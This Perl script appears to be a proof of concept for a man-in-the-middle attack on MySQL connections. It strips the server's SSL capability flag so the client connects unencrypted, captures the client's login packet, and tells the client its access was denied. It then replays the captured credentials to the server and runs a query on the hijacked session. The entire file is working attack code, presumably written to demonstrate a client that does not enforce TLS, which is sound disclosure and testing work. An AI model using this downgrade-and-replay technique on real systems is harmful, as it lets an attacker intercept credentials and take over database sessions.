#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket::INET;

my $lsock = IO::Socket::INET->new(Listen => 1, LocalAddr => '127.0.0.1', LocalPort => 3307, Proto => 'tcp', Reuse => 1) or die;
my $csock = $lsock->accept() or die;
my $ssock = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => 3306, Proto => 'tcp') or die;

sub mread {
	my ($sock) = @_;
	my $len;
	$sock->read($len, 3) or die;
	my ($l1, $l2, $l3) = unpack('CCC', $len);
	my $l = $l1 | $l2 << 8 | $l3 << 16;
	my $data;
	$sock->read($data, $l+1) or die;
	substr($data, 1, 1) eq "\xFF" and die substr($data, 10);
	return wantarray ? ($len, $data) : $data;
}

my $slen;
my $sdata;
my $clen;
my $cdata;

($slen, $sdata) = mread($ssock);
my $cap = pack('C', unpack('C', substr($sdata, 49, 1)) & 0xF7); # turn off "switch to ssl"
substr($sdata, 49, 1) = $cap;

$csock->write($slen . $sdata) or die;

($clen, $cdata) = mread($csock);
$csock->write("\x23\x00\x00" . "\x02" . "\xff\x15\x04" . "\x23\x32\x38\x30\x30\x30" . "Access denied: MITM attack");
$csock->close();

$ssock->write($clen . $cdata) or die;
mread($ssock);

$ssock->write("\x2F\x00\x00" . "\x00" . "\x03" . "SELECT COUNT(*) FROM information_schema.TABLES") or die;
mread($ssock);
mread($ssock);
mread($ssock);
$sdata = mread($ssock);
print "SELECT COUNT(*) FROM information_schema.TABLES --> " . substr($sdata, 1) . "\n";
mread($ssock);

$ssock->write("\x01\x00\x00" . "\x00" . "\x01") or die;
$ssock->close();
